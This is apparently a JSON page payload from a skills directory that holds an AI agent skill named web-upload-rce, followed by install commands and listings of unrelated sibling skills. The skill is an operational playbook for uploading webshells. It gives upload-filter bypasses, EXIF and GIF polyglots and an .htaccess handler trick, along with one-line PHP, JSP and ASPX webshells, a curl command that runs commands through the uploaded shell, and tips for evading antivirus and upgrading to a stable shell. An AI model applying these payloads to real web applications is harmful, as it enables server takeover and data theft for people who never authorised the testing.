[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ETYY6T65F4P7VRHCTRJYPB":3,"skill-same:01M7ETYY6T65F4P7VRHCTRJYPB":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":30,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":33,"updatedAt":34,"install":35,"resources":48},"01M7ETYY6T65F4P7VRHCTRJYPB","web-upload-rce",null,"File-upload abuse to code execution for web apps. Use when the app accepts a file (avatar, document, image, import, attachment) and you can influence name\u002Ftype\u002Fcontent, or find where uploads land. Triggers - multipart upload form, avatar\u002Fprofile picture, import\u002Fattachment, \"invalid file type\", uploaded file URL, \u002Fuploads\u002F path.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fupload-rce\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: web-upload-rce\ndescription: File-upload abuse to code execution for web apps. Use when the app accepts a file (avatar, document, image, import, attachment) and you can influence name\u002Ftype\u002Fcontent, or find where uploads land. Triggers - multipart upload form, avatar\u002Fprofile picture, import\u002Fattachment, \"invalid file type\", uploaded file URL, \u002Fuploads\u002F path.\ntags: [vuln_assess, exploitation]\n---\n\n# File Upload → RCE\n\n## When this fires\nAny upload sink (avatar, doc, image, CSV\u002FXML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.\n\n## Detect\n1. Upload a benign file, find WHERE it lands (response URL, predictable `\u002Fuploads\u002F\u003Cname>`, guess via ffuf).\n2. Probe the filter: try `.php`, `.phtml`, `.php5`, `.phar`, `.jsp`, `.aspx` — note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).\n\n## Decide — which bypass\n- **Extension blocklist** → `.phtml`\u002F`.php5`\u002F`.phar`\u002F`.pht`; double `shell.php.jpg`; trailing `shell.php%00.jpg` (old); case `shell.PHP`; `.php.` (Apache).\n- **MIME check only** → keep `.php`, set `Content-Type: image\u002Fpng`.\n- **Magic-byte\u002Fcontent check** → prepend `GIF89a;` or valid image header, then PHP: `GIF89a;\u003C?php system($_GET['c']); ?>`. Or embed in EXIF (`exiftool -Comment='\u003C?php ...?>' x.jpg`).\n- **Server config writable** → upload `.htaccess` (`AddType application\u002Fx-httpd-php .jpg`) then a `.jpg` webshell.\n- **SVG\u002FXML upload** → stored XSS or XXE (see web-xxe). **Zip\u002Fimport** → path traversal (`..\u002F..\u002F`) to write outside the upload dir.\n\n## Exploit → PROVE IMPACT\n```bash\n# minimal webshells\necho '\u003C?php system($_GET[\"c\"]); ?>' > shell.phtml     # PHP\n# JSP: \u003C% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>   ASPX: Process.Start(\"cmd\",\"\u002Fc \"+Request[\"c\"])\ncurl 'http:\u002F\u002F\u003Ct>\u002Fuploads\u002Fshell.phtml?c=id'             # execute → prove\n```\n**Proof required:** `id`\u002F`whoami` from the uploaded shell (RCE). Then upgrade to a stable shell \u002F `record_artifact`; drop markers where the engagement requires.\n\n## Tooling\n`ffuf` to locate the upload dir; `exiftool` for magic-byte polyglots; `nuclei -tags fileupload`. Feed dir-discovery to `gobuster_parse`.\n\n## False positives \u002F pitfalls\n- Upload succeeds but dir is non-executable (static\u002FCDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.\n- Antivirus\u002Fcontent scan strips shells → try polyglot + less-common handler extension.\n- Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.\n","# File Upload → RCE\n\n## When this fires\nAny upload sink (avatar, doc, image, CSV\u002FXML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.\n\n## Detect\n1. Upload a benign file, find WHERE it lands (response URL, predictable `\u002Fuploads\u002F\u003Cname>`, guess via ffuf).\n2. Probe the filter: try `.php`, `.phtml`, `.php5`, `.phar`, `.jsp`, `.aspx` — note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).\n\n## Decide — which bypass\n- **Extension blocklist** → `.phtml`\u002F`.php5`\u002F`.phar`\u002F`.pht`; double `shell.php.jpg`; trailing `shell.php%00.jpg` (old); case `shell.PHP`; `.php.` (Apache).\n- **MIME check only** → keep `.php`, set `Content-Type: image\u002Fpng`.\n- **Magic-byte\u002Fcontent check** → prepend `GIF89a;` or valid image header, then PHP: `GIF89a;\u003C?php system($_GET['c']); ?>`. Or embed in EXIF (`exiftool -Comment='\u003C?php ...?>' x.jpg`).\n- **Server config writable** → upload `.htaccess` (`AddType application\u002Fx-httpd-php .jpg`) then a `.jpg` webshell.\n- **SVG\u002FXML upload** → stored XSS or XXE (see web-xxe). **Zip\u002Fimport** → path traversal (`..\u002F..\u002F`) to write outside the upload dir.\n\n## Exploit → PROVE IMPACT\n```bash\n# minimal webshells\necho '\u003C?php system($_GET[\"c\"]); ?>' > shell.phtml     # PHP\n# JSP: \u003C% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>   ASPX: Process.Start(\"cmd\",\"\u002Fc \"+Request[\"c\"])\ncurl 'http:\u002F\u002F\u003Ct>\u002Fuploads\u002Fshell.phtml?c=id'             # execute → prove\n```\n**Proof required:** `id`\u002F`whoami` from the uploaded shell (RCE). Then upgrade to a stable shell \u002F `record_artifact`; drop markers where the engagement requires.\n\n## Tooling\n`ffuf` to locate the upload dir; `exiftool` for magic-byte polyglots; `nuclei -tags fileupload`. Feed dir-discovery to `gobuster_parse`.\n\n## False positives \u002F pitfalls\n- Upload succeeds but dir is non-executable (static\u002FCDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.\n- Antivirus\u002Fcontent scan strips shells → try polyglot + less-common handler extension.\n- Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.\n",{"name":5,"tags":24,"description":7},[25,26],"vuln_assess","exploitation","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fupload-rce",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill web-upload-rce",{"tool":41,"command":42},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill web-upload-rce",{"tool":44,"command":45},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill web-upload-rce","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fupload-rce\u002FSKILL.md",true,[],[50,58,63,70,77,84],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":57},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":59,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":57},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":57},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":57},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":57},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":57},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]